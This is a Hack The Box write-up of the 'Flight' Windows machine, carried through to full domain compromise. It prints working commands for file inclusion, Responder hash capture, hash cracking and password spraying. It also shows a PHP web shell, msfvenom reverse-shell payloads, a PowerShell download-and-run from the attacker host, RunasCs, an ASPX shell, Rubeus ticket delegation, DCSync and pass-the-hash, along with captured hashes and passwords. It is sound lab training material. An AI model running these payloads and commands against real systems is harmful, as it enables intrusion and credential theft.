HTB Flight CTF Writeup
HTB Flight CTF is a "Hard" difficulty Windows machine on Hack The Box.
Challenge Summary
The Flight CTF from HackTheBox demonstrates how a seemingly minor web‑application flaw can unravel an entire Active Directory environment. Starting with a simple file‑inclusion bug, the attacker chained NTLM capture, password reuse, loose share permissions, and unconstrained delegation to pivot from an external web server to full Domain Admin. Each step relied on real‑world misconfigurations rather than exotic exploits, underscoring how layered weaknesses compound into total compromise.
Web Service Enumeration
Summary
A permissive view=
parameter allowed Local and Remote File Inclusion, giving the attacker their initial foothold. Failing to sanitise user input and allowing remote URLs turned an informational web page into an internal launch pad.
Details
Homepage is just a splash page with some information on aeronautics
At the end of the page, I located a vhost:
1
Copyright 2022 flight.htb - All Rights Reserved
I added it to my /etc/hosts file:
1
10.10.11.187 flight.htb
With that in mind I started a subdomain enumeration scan with ffuf:
The command looks like that:
1
ffuf -u http://flight.htb -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.flight.htb" -t 10 -fs 7069
From the output, a valid “school.flight.htb” subdomain has been found:
Looking around the website, we can see that the back-end uses PHP and it renders the pages based off of a “view” GET parameter in the URL:
After messing around with this parameter for a few minutes, I discovered that the website is vulnerable to Local File Inclusion (LFI).
I tried fuzzing for different files based on a windows LFI wordlist, and got many hits:
The command looks like this:
1
ffuf -u http://school.flight.htb/index.php?view=FUZZ -w /usr/share/wordlists/SecLists-master/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt -t 5 -fs 1170,1102
However, none of those files are really useful in our case.
I discovered that the LFI vulnerability is actually a broader file inclusion, because it’s also possible to make remote connections and include files from remote connections. To test this, I ran:
1
sudo python3 -m http.server 80
To establish a simple python http server to handle the http request, and then:
1
curl http://school.flight.htb/index.php?view=http://10.10.14.14/
Instantly, I got the request back at the python http server:
1
10.10.11.187 - - [24/Jun/2025 12:31:47] "GET / HTTP/1.1" 200 -
NTLM Hash Grabbing: Poisoned SMB Connection
Summary
Outbound SMB traffic was unrestricted and unsigned. By tricking the server into fetching //attacker/share
, the adversary captured NTLMv2 hashes with Responder and cracked them offline—classic but still devastating when SMB egress filtering is absent.
Details
The webserver back-end has some protections enabled, in an attempt to protect from attacks. It’s a simple filter that looks for suspicious strings, like “\” or “..” or “filter” and so on.
As this is a windows machine, we can try to grab the password hash for the user running the Apache webserver by forcing it to make a connection back to us. It not always works, but it’s nice to try.
I fired up Responder.py to listen and poison incoming connections:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
python3 Responder.py -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
<SNIP>
[+] Current Session Variables:
Responder Machine Name [WIN-EZW67LWWGLN]
Responder Domain Name [RQZC.LOCAL]
Responder DCE-RPC Port [46678]
[*] Version: Responder 3.1.6.0
[*] Author: Laurent Gaffie, <[email protected]>
[+] Listening for events...
Commonly, to make a SMB connection, you’d use \\<server-ip>\<share>\<filename>
but in this case the server blocks instances of “\”. To bypass this I initially tried to url-encode it, double url encode it, and even use the smb://
protocol instead of \\
(e.g. http://school.flight.htb/index.php?view=smb://10.10.14.14/test/test
instead of http://school.flight.htb/index.php?view=\\10.10.14.14\test\test
) however neither worked.
Then I realized that “\” and “//” in this context are the same thing, I can initiate a SMB connection using “//” instead of the usual “\”:
1
curl 'http://school.flight.htb/index.php?view=//10.10.14.14/share/'
Instantly, got a connection on my Responder session:
The NTLM hash for “svc_apache” looks like this:
1
svc_apache::flight:772f1267fdc6d9af:3FFC93A691EF0DBEDDC326C9604561C3:01010000000000008079BBF6FAE4DB01E924E11FA4D71F6F0000000002000800520051005A00430001001E00570049004E002D0045005A005700360037004C005700570047004C004E0004003400570049004E002D0045005A005700360037004C005700570047004C004E002E00520051005A0043002E004C004F00430041004C0003001400520051005A0043002E004C004F00430041004C0005001400520051005A0043002E004C004F00430041004C00070008008079BBF6FAE4DB0106000400020000000800300030000000000000000000000000300000AFC51A941945165E1371DF82B594B02D5AF839F5731DA85CD2A177F02685BA370A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310034000000000000000000
I saved it to a file, and used hashcat to crack it. Got a hit after a few seconds:
The command looks like this:
1
hashcat svc_apache.poison /usr/share/wordlists/rockyou.txt
With that, got credentials for “svc_apache”:
1
2
Username: svc_apache
Password: S@Ss!K@*t13
Password Reuse: svc_apache -> s.moon
Summary
Multiple users—including a service account—shared the same weak password, violating even basic password‑hygiene policies. Once one credential leaked, spraying it across other accounts provided immediate lateral movement without brute force.
Details
I used netexec ldap module to enumerate the valid users in the AD domain and it got me all the users, saving them to “users.txt”:
The command looks like this:
1
nxc ldap 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users-export users.txt
My users file looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Administrator
Guest
krbtgt
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum
I also created a “passwords.txt” to store the passwords:
1
2
$ cat passwords.txt
S@Ss!K@*t13
Then, with all the users in hands, I performed a password spray attack to see if any other user shares the same password as “svc_apache”:
The command looks like this:
1
nxc ldap 10.10.11.187 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
Sure enough, “S.Moon” does! New creds:
1
flight.htb\S.Moon:S@Ss!K@*t13
Infecting the SMB share with malicious files
Summary
Excessive write access on corporate shares enabled “lure” files to harvest more hashes and, later, dropped web shells directly into production content. Least privilege and proper ACL reviews would have broken the chain here.
Details
I can see that “s.moon” has read/write privileges to the “Shared” SMB share:
I used the tool “ntlm_theft” from github to generate a bunch of ntlmv2 hash theft files, that will be later uploaded to the “Shared” folder.
The command:
1
python3 ntlm_theft.py --generate all --server 10.10.14.14 --filename bsec
Then, I started Responder once again:
1
python3 Responder.py -I tun0
I connected to the share and began uploading all the files:
With all files uploaded, after a few seconds, I got a hit on my Responder server. A hash for “c.bum” user:
The hash looks like this:
1
c.bum::flight.htb:329eef193fa7acd3:F0C7233A4631659B4C11DE4893ED1DCC:010100000000000080D7E979AEE5DB015AF10E20B9D0DCF40000000002000800330037005600300001001E00570049004E002D0042003100310055004F0046005400320032003500380004003400570049004E002D0042003100310055004F004600540032003200350038002E0033003700560030002E004C004F00430041004C000300140033003700560030002E004C004F00430041004C000500140033003700560030002E004C004F00430041004C000700080080D7E979AEE5DB0106000400020000000800300030000000000000000000000000300000AFC51A941945165E1371DF82B594B02D5AF839F5731DA85CD2A177F02685BA370A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310034000000000000000000
I could crack the hash with hashcat, and rockyou.txt wordlist:
The command looks like this:
1
hashcat c.bum.hash /usr/share/wordlists/rockyou.txt
New credentials:
1
2
Username: flight.htb/c.bum
Password: Tikkycoll_431012284
Remote Code Execution
User “c.bum” has Write access over the “Web” share:
Because I know the webserver is running PHP on the back-end, it’s just a matter of creating a malicious php file, upload it to the webserver using c.bum’s credentials, and then visiting the php file to make the server execute it.
This is how my evil.php file looks like:
1
<?php system($_REQUEST['cmd']); ?>
I started a netcat listener to wait for connections:
1
sudo rlwrap nc -lvnp 53
Then, I connected to the SMB share as c.bum using:
1
smbclient //10.10.11.187/Web -U flight.htb/c.bum
I got into school.flight.htb and uploaded the malicious php file:
I accessed the php file in the webserver (to trigger execution by the back-end) using curl:
I generated a malicious windows PE:
1
2
3
4
5
6
7
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.14 LPORT=443 -f exe -o evil.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: evil.exe
I started a webserver with python to serve the malicious PE:
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
I used curl to make the server download my executable and save it to a world-writable folder (URL-encoded from https://cyberchef.org):
1
$ curl 'http://school.flight.htb/evil.php?cmd=powershell%20iwr%2010.10.14.14/evil.exe%20-o%20C:%5Cwindows%5Ctasks%5Cevil.exe'
I configured multi/handler in my metasploit console:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > set LHOST 10.10.14.14
LHOST => 10.10.14.14
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.14:443
I triggered the malicious PE:
1
$ curl 'http://school.flight.htb/evil.php?cmd=c:\windows\tasks\evil.exe'
Instantly, I got a hit, and a new meterpreter session has been opened:
1
2
3
4
5
6
7
msf6 exploit(multi/handler) > [*] Sending stage (203846 bytes) to 10.10.11.187
[*] Meterpreter session 1 opened (10.10.14.14:443 -> 10.10.11.187:49906) at 2025-07-01 15:42:59 -0300
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
I immediately started looking for a new process to migrate to, with the “ps” command:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
meterpreter > ps
<SNIP>
4752 5188 cmd.exe x64 0 flight\svc_apache C:\Windows\System32\cmd.exe
4800 640 svchost.exe
4996 640 httpd.exe x64 0 flight\svc_apache C:\xampp\apache\bin\httpd.exe
5084 640 svchost.exe
5188 4996 httpd.exe x64 0 flight\svc_apache C:\xampp\apache\bin\httpd.exe
5948 640 svchost.exe
5960 640 svchost.exe
meterpreter > migrate 5188
[*] Migrating from 2360 to 5188...
[*] Migration completed successfully
Lateral Movement: c.bum -> IIS service account
Summary
The hidden IIS instance on port 8000 ran with a writable web root by c.bum. Uploading an ASPX shell delivered an internal Meterpreter session.
Details
I noticed a inetpub folder in the root of the C drive, which is odd because from the nmap scan we know that Apache is running, not IIS.
Taking a further look into it, I can see the port 8000 is listening, but it also doesn’t show on the nmpa scan. Probably being blacklisted on the firewall:
I investigated the inners of inetpub more thoroughly and discovered that c.bum has write access in the “development” folder:
I started a netcat listener on my attacking machine:
1
2
$ sudo rlwrap nc -lvnp 443
listening on [any] 443 ...
Then I uploaded RunasCs to the victim, and got a reverse shell as c.bum:
1
.\RunasCs.exe c.bum Tikkycoll_431012284 "cmd.exe" -d flight.htb -l 2 -r 10.10.14.14:443
Immediately, I got the connection back, this tim as c.bum.
I used my meterpreter session from earlier to establish a port forward, to get access to the local port 8000:
1
2
meterpreter > portfwd add -l 8000 -p 8000 -L 127.0.0.1 -r 127.0.0.1
[*] Forward TCP relay created: (local) 127.0.0.1:8000 -> (remote) 127.0.0.1:8000
With that, I could access the webpage in my browser:
As this is IIS, I can craft a malicious aspx file, upload it to the victim, write to the development folder (where this website’s files are served from) and then access the aspx file to trigger the command execution.
I generated a malicious aspx file:
1
2
3
4
5
6
7
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.14 LPORT=21 -f aspx -o shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of aspx file: 3666 bytes
Saved as: shell.aspx
I configured my multi/handler to wait for connections:
1
2
3
4
5
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.14:21
I started a python http server to serve my aspx file:
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
With my shell as c.bum, I grabbed the shell and saved it to the development folder of IIS:
1
C:\inetpub\development>powershell iwr 10.10.14.14/shell.aspx -o shell.aspx
Then I accessed the shell via the web browser, taking advantage of the port forwarding technique set earlier. Immediately, I got a connection back:
1
2
[*] Sending stage (203846 bytes) to 10.10.11.187
[*] Meterpreter session 2 opened (10.10.14.14:21 -> 10.10.11.187:50067) at 2025-07-01 16:34:54 -0300
This time, as IIS AppPool:
1
2
meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
Vertical Privilege Escalation: Unconstrained Delegation
Summary
Because the application pool identity was flagged for unconstrained delegation, the attacker could extract a delegated TGT and perform a DCSync.
Details
Initially I tried to escalate to SYSTEM by using “getsystem” from meterpreter, keeping in mind that this is basically a LOCAL SERVICE account, with impersonation privileges:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeMachineAccountPrivilege
I tried running getsystem but it didn’t work:
1
2
3
4
5
6
7
8
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: All pipe instances are busy. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)
I also tried with PrintSpoofer and JuicyPotato, but neither did work.
As the IIS APPPOOL\DefaultAppPool
, I can delegate a TGT and effectively compromise the entire domain by performing a DCSync.
To do this, I did transfer Rubeus.exe to the target machine, and ran:
To get a TGT for the machine account (the DC itself). The command:
1
.\rubeus.exe tgtdeleg /nowrap
Then I copied the ticket to my attacking machine, base64-decoded it, and converted it to ccache:
1
2
3
user@attackbox:~/hacking/htb/machines/hard/flight$ nano g0.ticket.kirbi.b64
user@attackbox:~/hacking/htb/machines/hard/flight$ cat g0.ticket.kirbi.b64 | base64 -d > g0.ticket.kirbi
user@attackbox:~/hacking/htb/machines/hard/flight$ ticketConverter.py g0.ticket.kirbi g0.ccache
With g0.ccache in hands, it’s just a matter of performing a DCSync:
1
2
$ export KRB5CCNAME=./g0.ccache
$ secretsdump.py -k -no-pass g0.flight.htb
With that, I have the NTLM hash for Administrator:
1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
Which can be used to get a highly privileged shell in the DC, effectively compromising the entire domain:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c [email protected]
/home/user/.local/pipx/venvs/impacket/lib/python3.11/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.13.0.dev0+20250605.14806.5f78065 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on g0.flight.htb.....
[*] Found writable share ADMIN$
[*] Uploading file ATCtxpeL.exe
[*] Opening SVCManager on g0.flight.htb.....
[*] Creating service NBAN on g0.flight.htb.....
[*] Starting service NBAN.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . . . . . . . : dead:beef::13d
IPv6 Address. . . . . . . . . . . : dead:beef::e582:41d4:1302:ba1
Link-local IPv6 Address . . . . . : fe80::e582:41d4:1302:ba1%6
IPv4 Address. . . . . . . . . . . : 10.10.11.187
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:c0a4%6
10.10.10.2
C:\Windows\system32>
Conclusion
This challenge is a textbook case of “defence in depth—or breach in depth.” Each weakness alone was survivable; combined, they enabled an effortless march to SYSTEM. Patching the LFI bug or rotating passwords would have slowed the attacker, but only a holistic security program—covering secure coding, credential hygiene, least privilege, hardened delegation, continuous monitoring, and segmented networks—can truly ground threats of this calibre.